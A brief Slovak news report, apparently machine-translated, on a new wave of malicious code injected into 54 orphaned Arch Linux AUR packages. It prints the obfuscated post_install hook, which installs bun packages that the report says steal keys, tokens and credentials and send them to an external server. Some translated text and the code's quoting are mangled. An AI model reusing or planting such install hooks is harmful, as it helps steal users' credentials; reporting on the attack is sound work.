Napriek opatreniam, ktoré prijali vývojári Archu Linux, aktivita vkladania škodlivého kódu do repozitára AUR (Arch User Repository) nebola zastavená. Pred niekoľkými hodinami bol škodlivý kód vložený do ďalších 54 balíkov, ktoré zostali bez správcov (história škodlivých úprav bola vrátená späť). Na rozdiel od útokov predvčerom sa tentoraz namiesto správcu balíkov npm používa platforma bun na inštaláciu škodlivých závislostí. Na obídenie implementovaných filtrov sa do funkcie post_install vkladá obfuskovaný reťazec, ktorý volá príkaz „bun add“ na inštaláciu balíkov so škodlivým kódom, ktorý ich skenuje a odosiela na externý server. server kľúče, tokeny a prihlasovacie údaje.
po_inštalácii() {
$'\x63′"d" "/"'t'"m"'p' && "b"u"n' 'a'"d"'d' $'\141\x6e"s'"i""-"$'\143"o"l"o"r'$'\x73′ 'n'"e"'x'"t""f"'i"l"e"-"j"s'
}
Zdroj: opennet.ru
